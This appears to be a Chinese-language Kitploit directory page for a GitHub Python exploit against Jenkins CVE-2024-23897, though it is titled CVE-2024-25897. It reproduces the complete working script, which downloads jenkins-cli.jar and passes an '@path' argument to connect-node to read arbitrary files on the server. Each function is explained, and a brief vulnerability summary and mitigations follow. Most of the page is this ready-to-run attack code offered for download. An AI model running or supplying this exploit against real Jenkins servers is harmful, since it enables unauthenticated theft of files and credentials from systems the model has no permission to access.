Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-25897 — 用Python编写的针对Jenkins的漏洞利用工具 | Kitploit
工具/GitHubGitHub/i-100-user/cve-2024-25897
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubi-100-user/cve-2024-25897

CVE-2024-25897

用Python编写的针对Jenkins的漏洞利用工具

查看仓库
22年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

banner

img1

参数 ip、puerto、ruta

img2

exploit 的输出

img3

帮助面板

exploit 说明

以下是代码的 Markdown 格式说明:

代码说明

此脚本旨在利用 Jenkins 中的特定漏洞(CVE-2024-23897)。它允许从 Jenkins 服务器下载 JAR 文件并执行 payload 以连接 Jenkins 节点。下面解释代码的每个部分:

模块导入

root@kitploit:~
import argparse
import requests
import os
import subprocess
import sys
  • argparse:用于处理命令行参数。
  • requests:用于发起 HTTP 请求。
  • os:用于与操作系统交互。
  • subprocess:用于执行系统命令。
  • sys:用于与 Python 解释器交互。

函数 banner

root@kitploit:~
def banner():
    """
    打印工具装饰性横幅。
    """
    text = """
   ______     _______     ____   ___ ____  _  _        ____  _____  ___  ___ _____       _            _    _           
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \|___ / ( _ )/ _ \___  |     | | ___ _ __ | | _(_)_ __  ___ 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / /   _  | |/ _ \ '_ \| |/ / | '_ \/ __|
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/ ___) | (_) \__, |/ /   | |_| |  __/ | | |   <| | | | \__|
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____|____/ \___/  /_//_/     \___/ \___|_| |_|_|\_\_|_| |_|___/
 """
    print(text)

此函数在脚本开始时打印一个装饰性横幅。

函数 descargar_jar

root@kitploit:~
def descargar_jar(ip, puerto):
    """
    从指定的 Jenkins 服务器下载 jenkins-cli.jar 文件。

    参数:
        ip (str):Jenkins 服务器的 IP 地址。
        puerto (str):Jenkins 服务器的端口。

    返回:
        bool:下载成功返回 True,否则返回 False。
    """
    url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            with open('jenkins-cli.jar', 'wb') as archivo_jar:
                archivo_jar.write(response.content)
            return True
        else:
            print(f"\n[-] 无法下载文件。状态码:{response.status_code}")
            return False
    except requests.RequestException as errorhttp:
        print(f"\n[-] 请求出错:{errorhttp}")
        return False

此函数从指定的 Jenkins 服务器(由 IP 和端口指定)下载 jenkins-cli.jar 文件。如果下载成功,则将文件保存到本地系统并返回 True;否则返回 False。

函数 attack_payload

root@kitploit:~
def attack_payload(ip, puerto, ruta):
    """
    执行 payload 以连接 Jenkins 节点。

    参数:
        ip (str):Jenkins 服务器的 IP 地址。
        puerto (str):Jenkins 服务器的端口。
        ruta (str):要读取文件的路径。
    """
    archivo_jar = "jenkins-cli.jar"
    payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
    try:
        subprocess.run(payload, shell=True, check=True)
        os.remove(archivo_jar)
    except subprocess.CalledProcessError as error_payload:
        print(f"\n[-] 尝试连接节点时出错:{error_payload}\n")

此函数执行一条命令以使用 jenkins-cli.jar 文件连接 Jenkins 节点。执行命令后,删除 JAR 文件。如果执行出错,则显示错误信息。

函数 main

root@kitploit:~
def main():
    """
    主函数,解析参数并执行相应函数。
    """
    parser = argparse.ArgumentParser(description="\n[+] 用于利用 CVE-2024-23897 的 Exploit\n")
    parser.add_argument("ip", type=str, help="\n[+] Jenkins 服务器的 IP 地址\n")
    parser.add_argument("puerto", type=str, help="\n[+] Jenkins 服务器的端口\n")
    parser.add_argument("ruta", type=str, help="\n[+] 要读取文件的路径\n")
    args = parser.parse_args()

    ip = args.ip
    puerto = args.puerto
    ruta = args.ruta

    banner()

    if descargar_jar(ip, puerto):
        attack_payload(ip, puerto, ruta)
    else:
        sys.exit(1)

脚本的主函数:

  1. 解析命令行参数(ip、puerto、ruta)。
  2. 调用 banner 函数打印横幅。
  3. 调用 descargar_jar 函数下载 JAR 文件。
  4. 如果下载成功,则调用 attack_payload 函数执行 payload;否则以退出码 1 结束脚本。

脚本执行

root@kitploit:~
if __name__ == '__main__':
    main()

此块确保仅当脚本直接运行时才执行 main 函数,而非作为模块导入时。

总结

此脚本是一个用于利用 Jenkins 漏洞的工具。它从 Jenkins 服务器下载 JAR 文件,并使用该文件执行连接 Jenkins 节点的 payload。所需的参数(ip、puerto、ruta)通过命令行提供。

以下是所需的库列表及对应的 pip install 命令:

所需库

  • argparse:此库包含在 Python 标准库中,无需安装。

  • requests:用于发起 HTTP 请求。

    root@kitploit:~
    pip install requests
    
  • os:此库包含在 Python 标准库中,无需安装。

  • subprocess:此库包含在 Python 标准库中,无需安装。

  • sys:此库包含在 Python 标准库中,无需安装。

库安装

root@kitploit:~
pip install requests

CVE-2024-23897 是 Jenkins(一种流行的自动化与 CI/CD 工具)中存在的一个漏洞。该漏洞影响 Jenkins 2.441 及更早版本,以及 LTS 2.426.2 及更早版本。

漏洞描述:

  • 受影响的函数:Jenkins CLI 命令解析器。
  • 问题:未禁用允许用文件内容替换参数中 '@' 后跟文件路径的功能。
  • 影响:允许未经身份验证的攻击者读取 Jenkins 控制器文件系统中的任意文件。
  • 风险:攻击者可访问 Jenkins 服务器上存储的敏感信息,进而可能导致系统进一步受损。

利用示例:

  1. 攻击者向 Jenkins 发送一条包含 @/ruta/del/archivo 的 CLI 命令。
  2. Jenkins 的命令解析器将 @/ruta/del/archivo 解释并用指定文件的内容替换该参数。
  3. 攻击者无需身份验证即可获取文件内容。

缓解措施:

  • 更新 Jenkins:安装已修复此漏洞的较新版本。
  • 安全配置:审查并限制对 Jenkins CLI 的访问,确保只有经过身份验证和受信任的用户才能使用此功能。

更新并正确配置 Jenkins 对于保护系统免受此漏洞侵害至关重要。

Python Linux Icon

下载工具